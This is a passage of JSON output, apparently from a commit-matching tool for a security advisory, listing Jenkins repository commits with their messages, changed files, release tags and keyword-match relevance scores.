system", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8951", - "relevance": 2 - } - ] - }, - { - "commit_id": "5f0e704ea26b430e117b32a5d7ea3658779edea8", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707949055, - "hunks": 4, - "message": "readonly mode for f:select (#8955) * readonly mode for f:select when enabling readonly mode with the extended read permissions plugin the places where an f:select is used are not replaced. * apply prettier * apply lint issues", - "changed_files": [ - "core/src/main/resources/lib/form/select.jelly", - "core/src/main/resources/lib/form/select/select.js", - "war/src/main/webapp/scripts/hudson-behavior.js" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8955": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: replace, read", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8955", - "relevance": 2 - } - ] - }, - { - "commit_id": "8b949243a92cc0ff89742be6b509920db0e0a456", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707743361, - "hunks": 16, - "message": "[JENKINS-71326] - Support colored badges in breadcrumb dropdown (#8853) * [JENKINS-71326] - Support colored badges in breadcrumb dropdown * [JENKINS-71326] - Support colored badges in breadcrumb dropdown - Creating a badge jelly view. * [JENKINS-71326] - Support colored badges in breadcrumb dropdown - Adding class attribute to the badge jelly. * Apply suggestions from code review Co-authored-by: Alexander Brandes * [JENKINS-71326] - Support colored badges in breadcrumb dropdown - Lint and license Fix --------- Co-authored-by: Alexander Brandes ", - "changed_files": [ - "core/src/main/java/jenkins/management/Badge.java", - "core/src/main/resources/hudson/model/ManageJenkinsAction/index.jelly", - "core/src/main/resources/lib/layout/badge.jelly", - "core/src/main/resources/lib/layout/task.jelly", - "war/src/main/js/components/dropdowns/templates.js", - "war/src/main/scss/components/_badges.scss", - "war/src/main/scss/components/_dropdowns.scss", - "war/src/main/scss/components/_section.scss", - "war/src/main/scss/components/_side-panel-tasks.scss" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8853": "Update notifying badges in dropdowns #8798" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: read", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8853", - "relevance": 2 - } - ] - }, - { - "commit_id": "76df1676462b5ee9e98ede2d6328ee865f798c8b", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707465940, - "hunks": 3, - "message": "Fix UI for plugin manager's Advanced settings with SystemRead (#8942) Fix UI for plugin manager's Advanced settings with ExtendedRead Co-authored-by: Daniel Beck ", - "changed_files": [ - "core/src/main/resources/hudson/PluginManager/advanced.jelly" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8942": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: read, system", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8942", - "relevance": 2 - } - ] - }, - { - "commit_id": "d5c9e6a9d7624210ef0e952622990af4d25882cc", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707465910, - "hunks": 9, - "message": "Do not offer impossible Cloud options to users with SystemRead (#8943) Co-authored-by: Daniel Beck ", - "changed_files": [ - "core/src/main/resources/jenkins/agents/CloudSet/index.jelly", - "core/src/main/resources/jenkins/agents/CloudSet/index.properties", - "core/src/main/resources/jenkins/agents/CloudSet/index_fr.properties", - "core/src/main/resources/jenkins/agents/CloudSet/index_tr.properties" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8943": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: read, system", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8943", - "relevance": 2 - } - ] - }, - { - "commit_id": "90c3a392025bd905a2705059eaa036474b52ee9e", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707382834, - "hunks": 1, - "message": "fix margin in readonly mode (#8938) * fix margin in readonly mode when readonly mode is enabled with systemread or extended read permissions, some fields are wrapped in a `pre` tag. By default `pre` has a bigger margin-bottom . But in readonly mode we already have a margin in a wrapping div which leads to unnecessary large space after those fields. So we should remove the margin-bottom for this * fix style", - "changed_files": [ - "war/src/main/scss/base/_style.scss" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8938": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: read, system", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8938", - "relevance": 2 - } - ] - }, - { - "commit_id": "abf3b41ab33f34436cb61b84fe3d5f03d53a6bd5", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706888396, - "hunks": 7, - "message": "[JENKINS-72627] Improve locale parsing for loading of localised help files (#8912) * fix only use preferred accept-language Signed-off-by: BobDu * revert asterisk imports Signed-off-by: BobDu * add unit test getStaticHelpUrl Signed-off-by: BobDu * improve unit test getStaticHelpUrl Signed-off-by: BobDu * rename assertThatLocaleResourceIs method Signed-off-by: BobDu --------- Signed-off-by: BobDu ", - "changed_files": [ - "core/src/main/java/hudson/model/Descriptor.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8912": "fix help icon return 404 jenkinsci/dingtalk-plugin#241 Intercept getLocales() when isIgnoreAcceptLanguage is set jenkinsci/locale-plugin#222 [JENKINS-73246] Fix text shown in unexpected locale #9370" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: file", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8912", - "relevance": 2 - } - ] - }, - { - "commit_id": "d7be82af3b7aee63d6ebd9c7008d1a9910070cdb", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706774250, - "hunks": 5, - "message": "[JENKINS-72509] show error message in progressive logs on 4xx status codes (#8907) * [JENKINS-72509] avoid broken log when deleting job/agent when accessing the log of a running build and the job gets deleted or someone removes read permissions (without discover) the log just appends the output of the call to logText/progressiveHtml which is the 404 message from Jenkins. The same happens when one accesses the log of an agent and the agent is deleted. This is due to only checking for 403 status and ignoring other status codes from the 400 range. * do not reload but print an error * apply prettier", - "changed_files": [ - "core/src/main/resources/lib/hudson/progressive-text.js", - "core/src/main/resources/lib/hudson/progressiveText.jelly", - "core/src/main/resources/lib/hudson/progressiveText.properties" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8907": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: read", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8907", - "relevance": 2 - } - ] - }, - { - "commit_id": "ef378cc38d5b0c0e0065a64fcbd4faf8c5b95feb", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706774208, - "hunks": 3, - "message": "[JENKINS-71700] avoid stacktrace from artifactarchiver when no artifacts are found (#8908) [JENKINS-71700] avoid stacktrace in artifactarchiver when no artifacts When the validateAntFileMask fails because there are too many files or it takes too long an exception is thrown that was intendend to be catched in the ArtifactArchiver. But when the build happens on an agent and not the built-in, this didn't work as the the exception is deeply wrapped in 2 other exceptions. As printing this information is of no real help, just catch all exceptions and print them to the jenkins log but not the build log. Any other message might just be misleading as one could get the impression that jenkins stopped after looking at 10000 files and only because of this no files where archived but this is not the case. At this place the ArtifactArchiver is just trying to give a hint why it didn't archive anything.", - "changed_files": [ - "core/src/main/java/hudson/tasks/ArtifactArchiver.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8908": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: file", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8908", - "relevance": 2 - } - ] - }, - { - "commit_id": "c32f4dfc7ffb2b5f1e6f1745a503572b2d0e420a", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706459420, - "hunks": 1, - "message": "Replace reference to ui-samples-plugin with design-library in javadoc (#8909) ui-samples-plugin is suspended and has been replaced with design-library: > Plugin distribution has been suspended, see https://groups.google.com/g/jenkinsci-dev/c/2vGn3t9gZ0Y for details. https://plugins.jenkins.io/ui-samples-plugin/ https://github.com/jenkinsci/design-library-plugin/pull/14", - "changed_files": [ - "core/src/main/java/jenkins/util/ProgressiveRendering.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8909": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: replace", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8909", - "relevance": 2 - } - ] - }, - { - "commit_id": "4ec1639b9a9562028f2834da6c42e0ac962aad5f", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706298235, - "hunks": 1, - "message": "Replace cobertura with coverage plugin in plugin installation wizard (#8879) Replace cobertura with coverage plugin. The coverage plugin combines all coverage tools into a single plugin. See https://github.com/jenkinsci/coverage-plugin.", - "changed_files": [ - "core/src/main/resources/jenkins/install/platform-plugins.json" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8879": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: replace", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8879", - "relevance": 2 - } - ] - }, - { - "commit_id": "f640efc087add43d31fdd92cd24be99af99fa4f5", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706193920, - "hunks": 3, - "message": "[JENKINS-71025] Remove inline JS from configure-common (#8866) * [JENKINS-71025] Remove inline JS from configure-common replaces #6861 * remove inline jd for jdk check", - "changed_files": [ - "core/src/main/java/hudson/model/AbstractProject.java", - "core/src/main/resources/hudson/model/AbstractProject/configure-common.jelly" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "6861": "[JENKINS-71025] Remove inline JS from configure-common #8866", - "8866": "[JENKINS-60866][JENKINS-71025] Remove inline JS from configure-common #6861 [JENKINS-69916] Un-inline WorkflowJob/configure-entries.jelly jenkinsci/workflow-job-plugin#411" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: replace", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 6861, 8866", - "relevance": 2 - } - ] - }, - { - "commit_id": "a665b45ba5862110d8b174d654c28541e23bedf9", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706193789, - "hunks": 5, - "message": "Missing `VirtualFile.run` usage in `DirectoryBrowserSupport` (#8874) * Missing `VirtualFile.run` usage in `DirectoryBrowserSupport` * Might as well handle `containsSymLink` the same way. Will never matter for artifact display with either the built-in or pluggable managers, but could improve performance of workspace listing with slow agent connections. * Checkstyle --------- Co-authored-by: Daniel Beck ", - "changed_files": [ - "core/src/main/java/hudson/model/DirectoryBrowserSupport.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8874": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: file", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8874", - "relevance": 2 - } - ] - }, - { - "commit_id": "a32f24c4498950c5d74ee0ee438f79ef5867e755", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706132209, - "hunks": 1, - "message": "[JENKINS-72579] Adjust heap dump file name for compatibility with OpenJDK file suffix requirements (#8881)", - "changed_files": [ - "core/src/main/java/hudson/util/RemotingDiagnostics.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8881": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: file", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8881", - "relevance": 2 - } - ] - }, - { - "commit_id": "e859e9cd9c87a34153bc02c02cdfc174daa5c0e3", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1704487212, - "hunks": 3, - "message": "Allow plugins to override boot failure view (#8442)", - "changed_files": [ - "core/src/main/java/hudson/WebAppMain.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8442": "Nicer error pages jenkinsci/configuration-as-code-plugin#2352" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: allow", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8442", - "relevance": 2 - } - ] - }, - { - "commit_id": "444f2de993786310f998b4432e2550b35e1d7a45", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1704274052, - "hunks": 4, - "message": "Improve crash consistency on Linux (#8815) * Improve crash consistency * `fsync` the correct parent directory * More flexibility * Add reference to man page * fix formatting --------- Co-authored-by: Tim Jacomb <21194782+timja@users.noreply.github.com>", - "changed_files": [ - "core/src/main/java/hudson/util/AtomicFileWriter.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8815": "Document REQUIRES_DIR_FSYNC escape hatch jenkins-infra/jenkins.io#6985" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - 